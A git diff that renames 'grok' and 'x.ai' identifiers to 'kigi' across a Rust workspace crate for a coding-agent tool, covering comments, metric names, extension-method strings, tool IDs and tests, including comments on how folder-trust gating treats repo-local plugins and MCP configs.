--- a/crates/codegen/kigi-workspace/src/file_system/codebase_index.rs
+++ b/crates/codegen/kigi-workspace/src/file_system/codebase_index.rs
@@ -125,7 +125,7 @@ mod tests {
     //
     // These tests verify the core lazy-start behavior:
     // `CodebaseIndexManager::get()` returns None before the index is created,
-    // which maps to `x.ai/code/status` reporting `reason: notStarted`.
+    // which maps to `kigi/code/status` reporting `reason: notStarted`.
     // `get_or_create()` is the lazy-start entry point called by
     // `MvpAgent::start_codebase_index_for_code_nav` on the first code-nav
     // request for an eligible session.
@@ -134,7 +134,7 @@ mod tests {
     /// An empty CodebaseIndexManager returns None for any path.
     ///
     /// This is the steady-state before ANY code-nav request has been made.
-    /// In `x.ai/code/status`, `resolve_index_handle()` calls
+    /// In `kigi/code/status`, `resolve_index_handle()` calls
     /// `agent.get_codebase_index(cwd)` which calls `mgr.get(cwd)`.
     /// When this returns None the status reports `reason: notStarted` — the
     /// key non-starting guarantee from the plan.
diff --git a/crates/codegen/kigi-workspace/src/file_system/ext_fs.rs b/crates/codegen/kigi-workspace/src/file_system/ext_fs.rs
index 9528afb..075f2e5 100644
--- a/crates/codegen/kigi-workspace/src/file_system/ext_fs.rs
+++ b/crates/codegen/kigi-workspace/src/file_system/ext_fs.rs
@@ -1,9 +1,9 @@
 //! Filesystem extension ops (`workspace.fs_*`) — the server-proxied backing
-//! for the shell's `x.ai/fs/*` ACP extension methods.
+//! for the shell's `kigi/fs/*` ACP extension methods.
 //!
 //! These mirror the pure functions that previously lived only in the
 //! shell (`kigi-shell/src/session/file_system.rs`) so that, in proxy
-//! mode, a `x.ai/fs/*` request executes on the *remote* workspace server
+//! mode, a `kigi/fs/*` request executes on the *remote* workspace server
 //! instead of the agent host. Each request type implements
 //! [`WorkspaceOp`], so it runs in-process for local sessions and routes
 //! over the server `workspace_rpc` tool for proxy sessions — identical wire
diff --git a/crates/codegen/kigi-workspace/src/file_system/walk.rs b/crates/codegen/kigi-workspace/src/file_system/walk.rs
index 4e05d65..a3bd493 100644
--- a/crates/codegen/kigi-workspace/src/file_system/walk.rs
+++ b/crates/codegen/kigi-workspace/src/file_system/walk.rs
@@ -42,7 +42,7 @@ pub fn clamp_read_length(length: Option<u64>, max_bytes: u64) -> u64 {
         .min(MAX_READ_BYTES)
 }
 
-/// Walk configuration. Field semantics mirror the `x.ai/fs/list` request.
+/// Walk configuration. Field semantics mirror the `kigi/fs/list` request.
 pub(super) struct FsWalk<'a> {
     pub depth: usize,
     pub follow_symlinks: bool,
diff --git a/crates/codegen/kigi-workspace/src/folder_trust.rs b/crates/codegen/kigi-workspace/src/folder_trust.rs
index 0ff72bb..da32113 100644
--- a/crates/codegen/kigi-workspace/src/folder_trust.rs
+++ b/crates/codegen/kigi-workspace/src/folder_trust.rs
@@ -119,7 +119,7 @@ pub fn decide_inputs_with_interactive(
 /// this binary — true on a local/dev build (no `KIGI_VERSION` release stamp).
 ///
 /// THE single security short-circuit: every explicit trust auto-grant site calls
-/// this (greppable via `folder_trust_inert`). When true a self-built grok never
+/// this (greppable via `folder_trust_inert`). When true a self-built kigi never
 /// prompts, never gates repo-local `.envrc`/`.claude`/hooks/plugins/MCP/LSP, and
 /// does NO `trusted_folders.toml` I/O. Release-stamped builds are unaffected.
 pub fn folder_trust_inert() -> bool {
@@ -145,7 +145,7 @@ fn is_local_build() -> bool {
 /// Resolve whether the folder-trust gate is enabled.
 ///
 /// On a local/dev build (no `KIGI_VERSION` release stamp) the feature is OFF
-/// regardless of env/config/remote — a self-built grok auto-trusts (never
+/// regardless of env/config/remote — a self-built kigi auto-trusts (never
 /// prompts, never gates repo-local MCP/LSP). Folder-trust applies only to
 /// shipped, release-stamped binaries.
 ///
@@ -162,7 +162,7 @@ pub fn feature_enabled(remote: Option<&RemoteSettings>) -> bool {
 fn feature_enabled_for_build(remote: Option<&RemoteSettings>, is_local_build: bool) -> bool {
     // Local/dev builds never gate (auto-trust): folder-trust applies only to
     // shipped, release-stamped binaries. Even an explicit KIGI_FOLDER_TRUST/config
-    // opt-in is ignored here so a self-built grok never prompts.
+    // opt-in is ignored here so a self-built kigi never prompts.
     if is_local_build {
         return false;
     }
@@ -354,7 +354,7 @@ fn collect_repo_config_kinds(cwd: &Path, first_only: bool) -> Vec<&'static str>
     // Project PLUGIN dirs: project-scoped plugins are unified under folder-trust
     // too, so a repo-local plugin dir is repo-controlled code-exec (hooks/MCP)
     // that must be gated — else a plugin clone (e.g. `.kigi/plugins/evil/`, even
-    // one in a subdir launched via `cd sub && grok`) would resolve trusted and
+    // one in a subdir launched via `cd sub && kigi`) would resolve trusted and
     // run ungated. Uses the shared SSOT walk (cwd→git root) so detection matches
     // exactly what `discover_plugins` scans for Project scope (errs secure).
     if !kigi_agent::plugins::project_plugin_dirs_in(&chain.dirs).is_empty() {
@@ -522,20 +522,20 @@ mod tests {
     }
 
     #[test]
-    fn repo_configs_present_detects_grok_config_mcp_servers() {
+    fn repo_configs_present_detects_kigi_config_mcp_servers() {
         let tmp = repo_tmp();
-        let grok = tmp.path().join(".kigi");
-        std::fs::create_dir_all(&grok).unwrap();
-        std::fs::write(grok.join("config.toml"), "[mcp_servers.x]\ncommand=\"y\"\n").unwrap();
+        let kigi = tmp.path().join(".kigi");
+        std::fs::create_dir_all(&kigi).unwrap();
+        std::fs::write(kigi.join("config.toml"), "[mcp_servers.x]\ncommand=\"y\"\n").unwrap();
         assert!(repo_configs_present(tmp.path()));
     }
 
     #[test]
-    fn repo_configs_present_detects_grok_lsp_json() {
+    fn repo_configs_present_detects_kigi_lsp_json() {
         let tmp = repo_tmp();
-        let grok = tmp.path().join(".kigi");
-        std::fs::create_dir_all(&grok).unwrap();
-        std::fs::write(grok.join("lsp.json"), "{}").unwrap();
+        let kigi = tmp.path().join(".kigi");
+        std::fs::create_dir_all(&kigi).unwrap();
+        std::fs::write(kigi.join("lsp.json"), "{}").unwrap();
         assert!(repo_configs_present(tmp.path()));
     }
 
@@ -647,21 +647,21 @@ mod tests {
         // A project config whose `[mcp_servers]` table is empty has nothing to
         // gate, so it must not trip the gate.
         let tmp = repo_tmp();
-        let grok = tmp.path().join(".kigi");
-        std::fs::create_dir_all(&grok).unwrap();
-        std::fs::write(grok.join("config.toml"), "[mcp_servers]\n").unwrap();
+        let kigi = tmp.path().join(".kigi");
+        std::fs::create_dir_all(&kigi).unwrap();
+        std::fs::write(kigi.join("config.toml"), "[mcp_servers]\n").unwrap();
         assert!(!repo_configs_present(tmp.path()));
     }
 
     #[test]
-    fn repo_configs_present_detects_grok_config_plugins_paths() {
+    fn repo_configs_present_detects_kigi_config_plugins_paths() {
         // A repo whose ONLY repo-local config is `[plugins].paths` (no plugin
         // dir, no MCP/LSP/hooks) must still be gated: those paths load as
         // auto-trusted ConfigPath plugins, so an ungated clone is a live RCE.
         let tmp = repo_tmp();
-        let grok = tmp.path().join(".kigi");
-        std::fs::create_dir_all(&grok).unwrap();
-        std::fs::write(grok.join("config.toml"), "[plugins]\npaths = [\"./x\"]\n").unwrap();
+        let kigi = tmp.path().join(".kigi");
+        std::fs::create_dir_all(&kigi).unwrap();
+        std::fs::write(kigi.join("config.toml"), "[plugins]\npaths = [\"./x\"]\n").unwrap();
         assert!(repo_configs_present(tmp.path()));
     }
 
@@ -670,9 +670,9 @@ mod tests {
         // An empty `[plugins].paths` (or a `[plugins]` table without `paths`)
         // contributes no plugin code-exec, so it must not trip the gate.
         let tmp = repo_tmp();
-        let grok = tmp.path().join(".kigi");
-        std::fs::create_dir_all(&grok).unwrap();
-        std::fs::write(grok.join("config.toml"), "[plugins]\npaths = []\n").unwrap();
+        let kigi = tmp.path().join(".kigi");
+        std::fs::create_dir_all(&kigi).unwrap();
+        std::fs::write(kigi.join("config.toml"), "[plugins]\npaths = []\n").unwrap();
         assert!(!repo_configs_present(tmp.path()));
     }
 
@@ -685,9 +685,9 @@ mod tests {
         // `.kigi/agents` — even when launched from a SUBDIR (the cwd→git-root walk
         // that `first_only` shares). Guards against silent drift between the two.
         let tmp = repo_tmp();
-        let grok = tmp.path().join(".kigi");
-        std::fs::create_dir_all(grok.join("agents")).unwrap();
-        std::fs::write(grok.join("config.toml"), "[plugins]\npaths = [\"./x\"]\n").unwrap();
+        let kigi = tmp.path().join(".kigi");
+        std::fs::create_dir_all(kigi.join("agents")).unwrap();
+        std::fs::write(kigi.join("config.toml"), "[plugins]\npaths = [\"./x\"]\n").unwrap();
         let claude = tmp.path().join(".claude");
         std::fs::create_dir_all(&claude).unwrap();
         std::fs::write(claude.join("settings.json"), r#"{"env":{"X":"1"}}"#).unwrap();
@@ -789,7 +789,7 @@ mod tests {
     #[test]
     fn local_build_ignores_explicit_env_optin() {
         // Auto-trust is absolute on a local build: even an explicit
-        // KIGI_FOLDER_TRUST=1 does NOT enable the feature (so a self-built grok
+        // KIGI_FOLDER_TRUST=1 does NOT enable the feature (so a self-built kigi
         // never prompts). KIGI_SHARE_DIR isolated so on-disk config can't influence it.
         let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
         let home = tempfile::tempdir().unwrap();
diff --git a/crates/codegen/kigi-workspace/src/handle.rs b/crates/codegen/kigi-workspace/src/handle.rs
index dfdfbd5..ae8eebd 100644
--- a/crates/codegen/kigi-workspace/src/handle.rs
+++ b/crates/codegen/kigi-workspace/src/handle.rs
@@ -18,7 +18,7 @@ use std::sync::Arc;
 pub(crate) static WORKSPACE_TERMINAL_BACKEND_ORPHANED_TOTAL: std::sync::LazyLock<IntCounterVec> =
     std::sync::LazyLock::new(|| {
         register_int_counter_vec!(
-            "grok_workspace_terminal_backend_orphaned_total",
+            "kigi_workspace_terminal_backend_orphaned_total",
             "Terminal backends detected orphaned from their session, by detection path \
              (tripwire, expected 0)",
             &["path"]
@@ -43,7 +43,7 @@ use kigi_tool_protocol::turn_hook::{AfterTurnAckPayload, AfterTurnAckStatus};
 pub(crate) static REWIND_CHECKPOINT_CAPTURE_TOTAL: std::sync::LazyLock<IntCounterVec> =
     std::sync::LazyLock::new(|| {
         register_int_counter_vec!(
-            "grok_workspace_rewind_checkpoint_capture_total",
+            "kigi_workspace_rewind_checkpoint_capture_total",
             "Total rewind-checkpoint domain captures",
             &["domain", "outcome"]
         )
@@ -53,7 +53,7 @@ pub(crate) static REWIND_CHECKPOINT_CAPTURE_TOTAL: std::sync::LazyLock<IntCounte
 pub(crate) static REWIND_CHECKPOINT_FINALIZE_TOTAL: std::sync::LazyLock<IntCounterVec> =
     std::sync::LazyLock::new(|| {
         register_int_counter_vec!(
-            "grok_workspace_rewind_checkpoint_finalize_total",
+            "kigi_workspace_rewind_checkpoint_finalize_total",
             "Total rewind-checkpoint finalizes",
             &["outcome"]
         )
@@ -63,7 +63,7 @@ pub(crate) static REWIND_CHECKPOINT_FINALIZE_TOTAL: std::sync::LazyLock<IntCount
 pub(crate) static REWIND_RESTORE_TOTAL: std::sync::LazyLock<IntCounterVec> =
     std::sync::LazyLock::new(|| {
         register_int_counter_vec!(
-            "grok_workspace_rewind_restore_total",
+            "kigi_workspace_rewind_restore_total",
             "Total rewind-checkpoint domain restores",
             &["domain", "result"]
         )
@@ -73,7 +73,7 @@ pub(crate) static REWIND_RESTORE_TOTAL: std::sync::LazyLock<IntCounterVec> =
 pub(crate) static REWIND_CHECKPOINT_DURATION: std::sync::LazyLock<HistogramVec> =
     std::sync::LazyLock::new(|| {
         register_histogram_vec!(
-            "grok_workspace_rewind_checkpoint_duration_seconds",
+            "kigi_workspace_rewind_checkpoint_duration_seconds",
             "Duration of rewind-checkpoint per-domain capture operations",
             &["domain"],
             vec![0.001, 0.005, 0.01, 0.05, 0.1, 0.25, 0.5, 1.0, 2.0, 5.0]
@@ -85,7 +85,7 @@ pub(crate) static REWIND_CHECKPOINT_DURATION: std::sync::LazyLock<HistogramVec>
 pub(crate) static REWIND_NON_COMPLETED_FINALIZE_TOTAL: std::sync::LazyLock<IntCounterVec> =
     std::sync::LazyLock::new(|| {
         register_int_counter_vec!(
-            "grok_workspace_rewind_non_completed_finalize_total",
+            "kigi_workspace_rewind_non_completed_finalize_total",
             "Non-Completed after_turn boundaries that produced a rewind finalize",
             &["outcome"]
         )
@@ -889,7 +889,7 @@ impl WorkspaceHandle {
     }
     /// Run one poll tick for an active fuzzy search. Returns the next batch of
     /// results (paths absolutized against the search root) or a signal to keep
-    /// polling / stop. Drives the `x.ai/search/fuzzy/status` notification loop.
+    /// polling / stop. Drives the `kigi/search/fuzzy/status` notification loop.
     pub async fn fuzzy_poll(
         &self,
         search_id: &str,
@@ -966,7 +966,7 @@ impl WorkspaceHandle {
             sink(method, params);
         }
     }
-    /// Drive the `x.ai/search/fuzzy/status` stream for an active search: poll
+    /// Drive the `kigi/search/fuzzy/status` stream for an active search: poll
     /// until done / closed / superseded, emitting each new result batch to the
     /// client through the ext-notification sink. Co-located with the manager so
     /// it polls in-process in both local and proxy mode.
@@ -1016,7 +1016,7 @@ impl WorkspaceHandle {
                     .unwrap_or_default(), }
                 );
             }
-            self.emit_client_ext("x.ai/search/fuzzy/status".to_string(), params);
+            self.emit_client_ext("kigi/search/fuzzy/status".to_string(), params);
             if data.done {
                 break;
             }
@@ -1024,7 +1024,7 @@ impl WorkspaceHandle {
     }
     /// Run a content search (ripgrep) and return results.
     /// Run a streaming content (ripgrep) search rooted at `cwd`, emitting each
-    /// batch as `x.ai/search/content/status` via the client sink, and returning
+    /// batch as `kigi/search/content/status` via the client sink, and returning
     /// the final result. Co-located with the sink so it streams in both modes.
     pub async fn run_content_search(
         &self,
@@ -1042,7 +1042,7 @@ impl WorkspaceHandle {
                 .total_files, "done" : batch.done, "truncated" : batch.truncated,
                 }
             );
-            handle.emit_client_ext("x.ai/search/content/status".to_string(), params);
+            handle.emit_client_ext("kigi/search/content/status".to_string(), params);
         })
         .await
         .map_err(|e| WorkspaceError::Internal(e.to_string()))
@@ -1277,11 +1277,11 @@ fn decode_cancellation_category(s: Option<&str>) -> Option<CancellationCategory>
     })
 }
 /// Per-process ephemeral workspace home for handles constructed without an
-/// explicit home (tests, local mode). Never the real grok home —
+/// explicit home (tests, local mode). Never the real kigi home —
 /// only [`connect_local_workspace`] resolves `$KIGI_WORKSPACE_HOME` — so the
 /// default path can never collide with a real workspace's state dir.
 fn ephemeral_workspace_home() -> std::path::PathBuf {
-    std::env::temp_dir().join(format!("grok-workspace-ephemeral-{}", std::process::id()))
+    std::env::temp_dir().join(format!("kigi-workspace-ephemeral-{}", std::process::id()))
 }
 /// Resolve `workspace_rewind_all_outcomes` from `KIGI_WORKSPACE_REWIND_ALL_OUTCOMES` (default off).
 fn rewind_all_outcomes_from_env() -> bool {
@@ -1464,7 +1464,7 @@ pub(crate) mod tests {
             .get()
     }
     fn explicit_cfg(name_override: &str) -> ToolServerConfig {
-        let mut renamed = tc("GrokBuild:read_file", Some(ToolKind::Read));
+        let mut renamed = tc("Kigi:read_file", Some(ToolKind::Read));
         renamed.name_override = Some(name_override.to_owned());
         ToolServerConfig {
             tools: vec![renamed],
@@ -1476,13 +1476,10 @@ pub(crate) mod tests {
     pub(crate) fn background_capable_cfg() -> ToolServerConfig {
         ToolServerConfig {
             tools: vec![
-                tc("GrokBuild:read_file", Some(ToolKind::Read)),
-                tc("GrokBuild:run_terminal_cmd", Some(ToolKind::Execute)),
-                tc(
-                    "GrokBuild:get_task_output",
-                    Some(ToolKind::BackgroundTaskAction),
-                ),
-                tc("GrokBuild:kill_task", Some(ToolKind::KillTaskAction)),
+                tc("Kigi:read_file", Some(ToolKind::Read)),
+                tc("Kigi:run_terminal_cmd", Some(ToolKind::Execute)),
+                tc("Kigi:get_task_output", Some(ToolKind::BackgroundTaskAction)),
+                tc("Kigi:kill_task", Some(ToolKind::KillTaskAction)),
             ],
             behavior_preset: None,
         }
@@ -1537,10 +1534,10 @@ pub(crate) mod tests {
         let backend = session.terminal_backend().clone();
         let out_dir = tempfile::tempdir().expect("temp dir");
         let bg = start_background_sleep(&session, out_dir.path(), "snapshot-bg").await;
-        handle.shared.mcp_tools_snapshot.store(Arc::new(vec![tc(
-            "GrokBuild:read_file",
-            Some(ToolKind::Read),
-        )]));
+        handle
+            .shared
+            .mcp_tools_snapshot
+            .store(Arc::new(vec![tc("Kigi:read_file", Some(ToolKind::Read))]));
         let rebuilt = handle
             .shared
             .re_resolve_all_sessions("mcp_snapshot_changed", true)
@@ -1607,10 +1604,10 @@ pub(crate) mod tests {
             !local.toolset_terminal_is_session_owned().await,
             "precondition: the installed toolset's Terminal must be external"
         );
-        handle.shared.mcp_tools_snapshot.store(Arc::new(vec![tc(
-            "GrokBuild:read_file",
-            Some(ToolKind::Read),
-        )]));
+        handle
+            .shared
+            .mcp_tools_snapshot
+            .store(Arc::new(vec![tc("Kigi:read_file", Some(ToolKind::Read))]));
         handle
             .shared
             .re_resolve_all_sessions("mcp_snapshot_changed", true)
@@ -1730,10 +1727,10 @@ pub(crate) mod tests {
             "the shell must have entered the subdir: {}",
             cwd_before.display()
         );
-        handle.shared.mcp_tools_snapshot.store(Arc::new(vec![tc(
-            "GrokBuild:read_file",
-            Some(ToolKind::Read),
-        )]));
+        handle
+            .shared
+            .mcp_tools_snapshot
+            .store(Arc::new(vec![tc("Kigi:read_file", Some(ToolKind::Read))]));
         let rebuilt = handle
             .shared
             .re_resolve_all_sessions("mcp_snapshot_changed", true)
@@ -1936,7 +1933,7 @@ pub(crate) mod tests {
     async fn client_ext_sink_receives_emitted_notification() {
         let handle = make_handle();
         assert!(!handle.has_client_ext_sink());
-        handle.emit_client_ext("x.ai/noop".to_string(), serde_json::json!({}));
+        handle.emit_client_ext("kigi/noop".to_string(), serde_json::json!({}));
         let captured = Arc::new(parking_lot::Mutex::new(Vec::new()));
         let sink_captured = captured.clone();
         handle.set_client_ext_sink(Arc::new(move |method, params| {
@@ -1944,17 +1941,17 @@ pub(crate) mod tests {
         }));
         assert!(handle.has_client_ext_sink());
         handle.emit_client_ext(
-            "x.ai/search/fuzzy/status".to_string(),
+            "kigi/search/fuzzy/status".to_string(),
             serde_json::json!({ "a" : 1 }),
         );
         let got = captured.lock();
         assert_eq!(got.len(), 1);
-        assert_eq!(got[0].0, "x.ai/search/fuzzy/status");
+        assert_eq!(got[0].0, "kigi/search/fuzzy/status");
         assert_eq!(got[0].1, serde_json::json!({ "a" : 1 }));
     }
     /// End-to-end local streaming: open + change a fuzzy search over real files,
     /// run the notification driver, and assert a correctly-shaped
-    /// `x.ai/search/fuzzy/status` is delivered through the sink with the match.
+    /// `kigi/search/fuzzy/status` is delivered through the sink with the match.
     #[tokio::test]
     async fn fuzzy_change_streams_status_through_sink() {
         use crate::file_system::TargetClientId;
@@ -1965,7 +1962,7 @@ pub(crate) mod tests {
         let captured = Arc::new(parking_lot::Mutex::new(Vec::<serde_json::Value>::new()));
         let sink_captured = captured.clone();
         handle.set_client_ext_sink(Arc::new(move |method, params| {
-            if method == "x.ai/search/fuzzy/status" {
+            if method == "kigi/search/fuzzy/status" {
                 sink_captured.lock().push(params);
             }
         }));
@@ -2042,7 +2039,7 @@ pub(crate) mod tests {
                 sid,
                 &BeforeTurnPayload {
                     turn_number: 7,
-                    model_id: "grok-4".to_owned(),
+                    model_id: "kigi-4".to_owned(),
                     yolo_mode: false,
                     conversation_message_count: 5,
                     session_relationship: "subagent".to_owned(),
@@ -2071,7 +2068,7 @@ pub(crate) mod tests {
                     outcome: TurnHookOutcome::Completed,
                     duration_ms: 1234,
                     tool_call_count: 1,
-                    model_id: "grok-4".to_owned(),
+                    model_id: "kigi-4".to_owned(),
                     written_repo_paths: Vec::new(),
                     cancellation_category: None,
                     cancellation_context: None,
@@ -2094,7 +2091,7 @@ pub(crate) mod tests {
         let ts = by_type("turn_started");
         assert_eq!(ts["session_id"], sid);
         assert_eq!(ts["turn_number"], 7);
-        assert_eq!(ts["model_id"], "grok-4");
+        assert_eq!(ts["model_id"], "kigi-4");
         assert_eq!(ts["yolo_mode"], false);
         assert_eq!(ts["conversation_message_count"], 5);
         assert_eq!(ts["session_relationship"], "subagent");
@@ -2133,7 +2130,7 @@ pub(crate) mod tests {
                 "main",
                 &BeforeTurnPayload {
                     turn_number: 1,
-                    model_id: "grok-4".to_owned(),
+                    model_id: "kigi-4".to_owned(),
                     yolo_mode: true,
                     ..Default::default()
                 },
@@ -2145,7 +2142,7 @@ pub(crate) mod tests {
                 "main",
                 &TurnHookRequest::Before(BeforeTurnPayload {
                     turn_number: 2,
-                    model_id: "grok-4".to_owned(),
+                    model_id: "kigi-4".to_owned(),
                     yolo_mode: false,
                     ..Default::default()
                 }),
@@ -2165,7 +2162,7 @@ pub(crate) mod tests {
                 "never-bound",
                 &TurnHookRequest::Before(BeforeTurnPayload {
                     turn_number: 1,
-                    model_id: "grok-4".to_owned(),
+                    model_id: "kigi-4".to_owned(),
                     yolo_mode: true,
                     ..Default::default()
                 }),
@@ -2187,7 +2184,7 @@ pub(crate) mod tests {
                     sid,
                     &BeforeTurnPayload {
                         turn_number: turn,
-                        model_id: "grok-4".to_owned(),
+                        model_id: "kigi-4".to_owned(),
                         yolo_mode: yolo,
                         ..Default::default()
                     },
@@ -2239,7 +2236,7 @@ pub(crate) mod tests {
                 sid,
                 &BeforeTurnPayload {
                     turn_number: 1,
-                    model_id: "grok-4".to_owned(),
+                    model_id: "kigi-4".to_owned(),
                     yolo_mode: false,
                     conversation_message_count: 0,
                     session_relationship: "primary".to_owned(),
@@ -2260,7 +2257,7 @@ pub(crate) mod tests {
                     outcome: TurnHookOutcome::Completed,
                     duration_ms: 1,
                     tool_call_count: 1,
-                    model_id: "grok-4".to_owned(),
+                    model_id: "kigi-4".to_owned(),
                     written_repo_paths: Vec::new(),
                     cancellation_category: None,
                     cancellation_context: None,
@@ -2290,7 +2287,7 @@ pub(crate) mod tests {
                 sid,
                 &BeforeTurnPayload {
                     turn_number: 1,
-                    model_id: "grok-4".to_owned(),
+                    model_id: "kigi-4".to_owned(),
                     yolo_mode: false,
                     conversation_message_count: 0,
                     session_relationship: "primary".to_owned(),
@@ -2389,7 +2386,7 @@ pub(crate) mod tests {
         let child_ids: Vec<String> = child_baseline.tools.iter().map(|t| t.id.clone()).collect();
         assert_eq!(child_ids, parent_ids);
         let new_parent_baseline = ToolServerConfig {
-            tools: vec![tc("GrokBuild:read_file", Some(ToolKind::Read))],
+            tools: vec![tc("Kigi:read_file", Some(ToolKind::Read))],
             behavior_preset: None,
         };
         let factory = handle.shared.session_factory.clone();
@@ -2425,8 +2422,8 @@ pub(crate) mod tests {
         let handle = make_handle();
         let custom = ToolServerConfig {
             tools: vec![
-                tc("GrokBuild:read_file", Some(ToolKind::Read)),
-                tc("GrokBuild:list_dir", Some(ToolKind::ListDir)),
+                tc("Kigi:read_file", Some(ToolKind::Read)),
+                tc("Kigi:list_dir", Some(ToolKind::ListDir)),
             ],
             behavior_preset: None,
         };
@@ -2452,7 +2449,7 @@ pub(crate) mod tests {
     async fn fork_session_uses_main_session_when_parent_session_id_is_none() {
         let handle = make_handle();
         let marker_config = ToolServerConfig {
-            tools: vec![tc("GrokBuild:read_file", Some(ToolKind::Read))],
+            tools: vec![tc("Kigi:read_file", Some(ToolKind::Read))],
             behavior_preset: None,
         };
         let main = handle.session("main").expect("main present");
@@ -2488,13 +2485,13 @@ pub(crate) mod tests {
             .iter()
             .map(|t| t.id.clone())
             .collect();
-        assert_eq!(baseline_ids, vec!["GrokBuild:read_file".to_string()]);
+        assert_eq!(baseline_ids, vec!["Kigi:read_file".to_string()]);
     }
     #[tokio::test]
     async fn fork_session_uses_named_parent_when_parent_session_id_is_set() {
         let handle = make_handle();
         let custom = ToolServerConfig {
-            tools: vec![tc("GrokBuild:read_file", Some(ToolKind::Read))],
+            tools: vec![tc("Kigi:read_file", Some(ToolKind::Read))],
             behavior_preset: None,
         };
         handle
@@ -2813,7 +2810,7 @@ pub(crate) mod tests {
             .await
             .expect("subB ok");
         let mut rx = handle.shared.events.subscribe();
-        let mcp_tool = tc("GrokBuild:read_file", Some(ToolKind::Read));
+        let mcp_tool = tc("Kigi:read_file", Some(ToolKind::Read));
         let rebuilt = handle.on_mcp_snapshot_changed(vec![mcp_tool]);
         assert_eq!(rebuilt, 3, "main + 2 subagents");
         let mut got: std::collections::BTreeSet<String> = std::collections::BTreeSet::new();
@@ -3537,7 +3534,7 @@ pub(crate) mod tests {
                     outcome: TurnHookOutcome::Completed,
                     duration_ms: 10,
                     tool_call_count: 0,
-                    model_id: "grok-4".to_owned(),
+                    model_id: "kigi-4".to_owned(),
                     written_repo_paths: Vec::new(),
                     cancellation_category: None,
                     cancellation_context: None,
@@ -3592,7 +3589,7 @@ pub(crate) mod tests {
                 sid,
                 &BeforeTurnPayload {
                     turn_number: 2,
-                    model_id: "grok-4".to_owned(),
+                    model_id: "kigi-4".to_owned(),
                     yolo_mode: false,
                     conversation_message_count: 0,
                     session_relationship: "primary".to_owned(),
@@ -3608,7 +3605,7 @@ pub(crate) mod tests {
                     outcome: TurnHookOutcome::Cancelled,
                     duration_ms: 10,
                     tool_call_count: 0,
-                    model_id: "grok-4".to_owned(),
+                    model_id: "kigi-4".to_owned(),
                     written_repo_paths: Vec::new(),
                     cancellation_category: Some("permission_rejected".to_owned()),
                     cancellation_context: Some(serde_json::json!({ "recovery" : false })),
diff --git a/crates/codegen/kigi-workspace/src/lib.rs b/crates/codegen/kigi-workspace/src/lib.rs
index d28856e..fd562c3 100644
--- a/crates/codegen/kigi-workspace/src/lib.rs
+++ b/crates/codegen/kigi-workspace/src/lib.rs
@@ -150,17 +150,17 @@ mod init_metrics_tests {
                 })
         };
         assert!(has(
-            "grok_workspace_toolset_swap_rejected_total",
+            "kigi_workspace_toolset_swap_rejected_total",
             &[("reason", "turn_active"), ("trigger", "update_tool_config")]
         ));
         assert!(has(
-            "grok_workspace_rewind_checkpoint_capture_total",
+            "kigi_workspace_rewind_checkpoint_capture_total",
             &[("domain", "fs"), ("outcome", "completed")]
         ));
         assert!(
             families
                 .iter()
-                .any(|mf| mf.name() == "grok_workspace_terminal_backend_orphaned_total")
+                .any(|mf| mf.name() == "kigi_workspace_terminal_backend_orphaned_total")
         );
     }
 }
diff --git a/crates/codegen/kigi-workspace/src/permission/auto_mode.rs b/crates/codegen/kigi-workspace/src/permission/auto_mode.rs
index 97f974b..cbbbd06 100644
--- a/crates/codegen/kigi-workspace/src/permission/auto_mode.rs
+++ b/crates/codegen/kigi-workspace/src/permission/auto_mode.rs
@@ -1,6 +1,6 @@
 //! Auto permission mode: LLM transcript classifier with safe fast-paths.
 //!
-//! Port of common agent auto-permission classifier semantics adapted to Grok's
+//! Port of common agent auto-permission classifier semantics adapted to Kigi's
 //! `AccessKind` permission gate (classifier blocks prompt the user; upstream
 //! denial-limit tracking is intentionally not ported).
 
@@ -874,7 +874,7 @@ pub fn access_requires_user_interaction(tool_name: &str, access: &AccessKind) ->
 pub type SharedClassifier = Arc<dyn PermissionClassifier>;
 
 /// Tools / access kinds that never need a classifier call (safe allowlist
-/// mapped to Grok access kinds + known names).
+/// mapped to Kigi access kinds + known names).
 pub fn is_auto_mode_allowlisted_access(access: &AccessKind) -> bool {
     matches!(
         access,
diff --git a/crates/codegen/kigi-workspace/src/permission/claude_settings.rs b/crates/codegen/kigi-workspace/src/permission/claude_settings.rs
index 8fd20b2..7448063 100644
--- a/crates/codegen/kigi-workspace/src/permission/claude_settings.rs
+++ b/crates/codegen/kigi-workspace/src/permission/claude_settings.rs
@@ -21,7 +21,7 @@ pub struct ClaudeSettings {
     pub permissions: Option<ParsedPermissions>,
 
     /// Raw `defaultMode` string when present (canonical under `permissions`, or
-    /// grok-only root legacy). Recognized values: `acceptEdits`,
+    /// kigi-only root legacy). Recognized values: `acceptEdits`,
     /// `bypassPermissions`, `default`, `plan`, `dontAsk`, `auto`.
     #[serde(default)]
     pub default_mode: Option<String>,
@@ -85,7 +85,7 @@ impl ParsedPermissions {
 ///     from `serde_json::Value`. Non-string entries are skipped with warnings.
 ///   - This enables partial success when some entries are malformed.
 ///   - `defaultMode` / `additionalDirectories` prefer the canonical location
-///     under `permissions.*`. Root-level keys are **grok legacy only** (not in
+///     under `permissions.*`. Root-level keys are **kigi legacy only** (not in
 ///     the vendor schema) and are used only when the nested key is **absent** —
 ///     not when it is present but the wrong type.
 pub fn load_claude_settings(path: &Path) -> Option<ClaudeSettings> {
@@ -123,7 +123,7 @@ pub fn load_claude_settings(path: &Path) -> Option<ClaudeSettings> {
         }
     });
 
-    // Canonical vendor settings store these under `permissions`; root is grok legacy only.
+    // Canonical vendor settings store these under `permissions`; root is kigi legacy only.
     let default_mode = extract_default_mode(&value, path);
 
     let additional_directories = extract_additional_directories(&value, path);
@@ -140,7 +140,7 @@ pub fn load_claude_settings(path: &Path) -> Option<ClaudeSettings> {
 
 /// Canonical key is `permissions.defaultMode`.
 ///
-/// Root `defaultMode` is grok-only back-compat for older tests / hand-written
+/// Root `defaultMode` is kigi-only back-compat for older tests / hand-written
 /// configs. Fall back to root only when the nested key is **absent**. If nested
 /// is present but not a string, do not resurrect a root value (malformed
 /// canonical key must not revive stale legacy).
@@ -161,7 +161,7 @@ pub(crate) fn extract_default_mode(value: &serde_json::Value, path: &Path) -> Op
         };
     }
 
-    // Nested key absent — optional grok legacy root.
+    // Nested key absent — optional kigi legacy root.
     match value.get("defaultMode") {
         Some(dm) => match dm.as_str() {
             Some(s) => Some(s.to_string()),
@@ -169,7 +169,7 @@ pub(crate) fn extract_default_mode(value: &serde_json::Value, path: &Path) -> Op
                 warn!(
                     path = %path.display(),
                     actual_type = %dm.type_of(),
-                    "root defaultMode (grok legacy): expected string, ignoring"
+                    "root defaultMode (kigi legacy): expected string, ignoring"
                 );
                 None
             }
